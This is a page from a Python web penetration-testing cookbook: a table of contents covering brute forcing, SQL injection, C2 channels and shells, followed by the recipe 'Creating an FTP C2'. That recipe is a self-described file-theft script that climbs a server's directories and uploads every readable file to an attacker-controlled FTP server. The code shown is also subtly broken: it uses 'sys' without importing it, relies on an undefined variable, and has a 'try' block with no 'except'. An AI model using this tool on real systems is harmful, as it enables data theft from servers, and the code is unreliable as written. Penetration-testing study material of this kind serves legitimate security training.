Table of Contents for
Python Web Penetration Testing Cookbook

Version ebook / Retour

Cover image for bash Cookbook, 2nd Edition Python Web Penetration Testing Cookbook by Dave Mound Published by Packt Publishing, 2015
  1. Cover
  2. Table of Contents
  3. Python Web Penetration Testing Cookbook
  4. Python Web Penetration Testing Cookbook
  5. Credits
  6. About the Authors
  7. About the Reviewers
  8. www.PacktPub.com
  9. Disclamer
  10. Preface
  11. What you need for this book
  12. Who this book is for
  13. Sections
  14. Conventions
  15. Reader feedback
  16. Customer support
  17. 1. Gathering Open Source Intelligence
  18. Gathering information using the Shodan API
  19. Scripting a Google+ API search
  20. Downloading profile pictures using the Google+ API
  21. Harvesting additional results from the Google+ API using pagination
  22. Getting screenshots of websites with QtWebKit
  23. Screenshots based on a port list
  24. Spidering websites
  25. 2. Enumeration
  26. Performing a ping sweep with Scapy
  27. Scanning with Scapy
  28. Checking username validity
  29. Brute forcing usernames
  30. Enumerating files
  31. Brute forcing passwords
  32. Generating e-mail addresses from names
  33. Finding e-mail addresses from web pages
  34. Finding comments in source code
  35. 3. Vulnerability Identification
  36. Automated URL-based Directory Traversal
  37. Automated URL-based Cross-site scripting
  38. Automated parameter-based Cross-site scripting
  39. Automated fuzzing
  40. jQuery checking
  41. Header-based Cross-site scripting
  42. Shellshock checking
  43. 4. SQL Injection
  44. Checking jitter
  45. Identifying URL-based SQLi
  46. Exploiting Boolean SQLi
  47. Exploiting Blind SQL Injection
  48. Encoding payloads
  49. 5. Web Header Manipulation
  50. Testing HTTP methods
  51. Fingerprinting servers through HTTP headers
  52. Testing for insecure headers
  53. Brute forcing login through the Authorization header
  54. Testing for clickjacking vulnerabilities
  55. Identifying alternative sites by spoofing user agents
  56. Testing for insecure cookie flags
  57. Session fixation through a cookie injection
  58. 6. Image Analysis and Manipulation
  59. Hiding a message using LSB steganography
  60. Extracting messages hidden in LSB
  61. Hiding text in images
  62. Extracting text from images
  63. Enabling command and control using steganography
  64. 7. Encryption and Encoding
  65. Generating an MD5 hash
  66. Generating an SHA 1/128/256 hash
  67. Implementing SHA and MD5 hashes together
  68. Implementing SHA in a real-world scenario
  69. Generating a Bcrypt hash
  70. Cracking an MD5 hash
  71. Encoding with Base64
  72. Encoding with ROT13
  73. Cracking a substitution cipher
  74. Cracking the Atbash cipher
  75. Attacking one-time pad reuse
  76. Predicting a linear congruential generator
  77. Identifying hashes
  78. 8. Payloads and Shells
  79. Extracting data through HTTP requests
  80. Creating an HTTP C2
  81. Creating an FTP C2
  82. Creating an Twitter C2
  83. Creating a simple Netcat shell
  84. 9. Reporting
  85. Converting Nmap XML to CSV
  86. Extracting links from a URL to Maltego
  87. Extracting e-mails to Maltego
  88. Parsing Sslscan into CSV
  89. Generating graphs using plot.ly
  90. Index

Creating an FTP C2

This script is a quick and dirty file-theft tool. It runs in a straight line up the directories, nabbing everything it comes into contact with. It then exports these to an FTP directory that it's pointed at. In situations where you can drop a file and want to quickly get the contents of the server, this is ideal as a starting point.

We will create a script that connects to an FTP, grabs the files in the current directory, and exports them to the FTP. It then jumps up into the next directory and repeats. When it encounters two directory listings that are the same (that is, it has hit the root), it stops.

Getting Started

For this, you will need a functioning FTP server. I'm using vsftpd, but you may use whatever you please. You'll need to either hard code the credentials into the script (not advisable) or send them with the credentials as flags.

How to do it…

The script we will be using is as follows:

from ftplib import FTP
import time
import os

user = sys.argv[1]
pw = sys.argv[2]

ftp = FTP("127.0.0.1", user, pw)

filescheck = "aa"

loop = 0
up = "../"

while 1:
  files = os.listdir("./"+(i*up))
  print files

  for f in files:
    try:
      fiile = open(f, 'rb')
      ftp.storbinary('STOR ftpfiles/00'+str(f), fiile)
      fiile.close()
    else:
      pass

  if filescheck == files:
    break
  else:
    filescheck = files
    loop = loop+1
    time.sleep(10)
ftp.close()

How it works…

As ever, we import our libraries and set up our variables. We have set the username and password as sys.argv to avoid having to hard code and therefore expose our systems:

from ftplib import FTP
import time
import os

user = sys.argv[1]
pw = sys.argv[2]

We then connect to our FTP with an IP address and the credentials we set up through the flags. You can also pass the IP as sys.argv to avoid hard-coding:

ftp = FTP("127.0.0.1", user, pw)

I've set up a nonce value that won't match the first directory for the directory checking method. We also set the loop as 0 and configure the "up directory" command as a variable, similar to the directory traversal script in Chapter 3, Vulnerability Identification:

filescheck = "aa"

loop = 0
up = "../"

We then create our main loop to repeat forever and create our chosen directory call. We list the files in the directory we call and assign it a variable. You can opt to print the file listing here if you wish, as I have for diagnostic purposes, but it makes no difference:

while 1:
  files = os.listdir("./"+(i*up))
  print files

For each file detected in the directory, we attempt to open it. It's important we open the file with rb as this allows it to be read as a binary, making it available to be transferred as a binary. If it's openable, we transfer it to the FTP with the storbinary command. We then close the file to complete the transaction:

  try:
      fiile = open(f, 'rb')
      ftp.storbinary('STOR ftpfiles/00'+str(f), fiile)
      fiile.close()

If, for whatever reason, we can't open or transfer the file, we simply move on to the next one in the list:

  else:
      pass

We then check to see whether we have changed directories since the last command. If not, we break out of the main loop:

if filescheck == files:
    break

If the directory listing doesn't match, we set the filecheck variable to match the current directory, iterate the loop by 1, and sleep for 10 seconds to avoid spamming the server:

else:
    filescheck = files
    loop = loop+1
    time.sleep(10)

Finally, once everything else is complete, we close our connection to the FTP server:

ftp.close()